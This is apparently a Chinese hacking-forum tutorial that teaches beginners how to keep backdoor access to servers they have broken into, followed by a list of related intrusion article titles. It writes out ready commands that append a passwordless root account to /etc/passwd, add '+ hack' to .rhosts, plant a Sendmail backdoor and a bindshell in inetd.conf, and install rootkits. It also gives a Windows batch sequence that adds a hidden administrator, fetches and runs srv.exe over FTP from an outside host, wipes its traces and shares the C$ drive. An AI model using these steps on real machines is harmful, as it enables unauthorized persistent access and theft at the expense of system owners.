|
对于我们这样的菜手,好不容易搞了台服务器很不容易,如果被发现了就惨了。其实,开后门的方法有很多种,下面我来说说,我以前学习过的几种方法。
1. Setuid
|
|
加上 suid 位到shell 上,虽然很简单,但容易被发现。
2. Echo "hack::0:0::/:/bin/csh" >> /etc/passwd
即给系统增加一个 ID 为 0(root)的帐号,无口令,但管理员用find命令就可以发现。
3.Echo "+ hack">>/.rhosts
如果这个系统开了512、513的port,就可以。把一个名为hack加到.rhosts文件中,rlogin登陆,无须密码。
4.修改 Sendmail.cf文件
增加一个"wiz" 命令,然后telnet www.xxx.com 25后,wiz,这就可以了。
5. Rootkit backdoor
这些东西现在是很火热的东西,但小心该后的文件的适用性、日期等等一些小的细节。有的需要自己编译,有的是编译好的。
6.Remote shell
Sunx的那个backdoor就很不错,不会产生日记文件,防止who等等。需要编译,但运行在redhat 6.1很不错。但在7.1等版本中好象就有点bug。
或者可以bindshell,可以替换inetd.conf中不常用的服务,注意文件的修改时间。
7. Http后门
其实,一般的
8.Bat后门(原创)
如果是xnix服务器,没办法。
Ms服务器:
|
net user hacker windychild /add net localgroup administrators hacker /add ...create super admin user echo open www.xxx.com>c:ftp.txt echo xxx>>c:\ftp.txtecho xxxxxx>>c:\ftp.txt echo get srv.exe>>c:\ftp.txt echo bye>>c:\ftp.txt ftp -s:c:\ftp.txt copy srv.exe c:\winnt\ c:\winnt\srv.exe del c:\ftp.txt del c:\srv.exe ......可以自己设置 net share ipc=ipc$ net share hdc=c$...... |
如果狠点的话,干脆再给它上个rootkit for win。
9.可以利用邮件编码漏洞
自己设置一个base64的编码文件发给你的
其实,上面的方法都是很常见的方法。还有很多方法,一时没办法整理出来,但对于新手来说足够了
| 没有路由密码权限时的鸽子上线方 | 08-23 |
| 完全解析网页后门和挂马 | 04-02 |
| 真实的网络攻击取证纪实 | 03-27 |
| 利用404错误页面挂马 | 03-21 |
| 解密风暴 | 03-21 |
| 社会工程学在黑客中的应用 | 01-02 |
| 轻轻松松解密各种网页木马 | 12-21 |
| SA权限无xp_cmdshell时取权限又一 | 12-14 |
| sqlserver2005中恢复xp_cmdshell | 11-10 |
| 实现无net.exe和net1.exe添加系统 | 10-26 |
| 用U盘轻松去除XP管理员密码 | 10-26 |
| 教你多种保护措施限用移动硬盘 | 10-09 |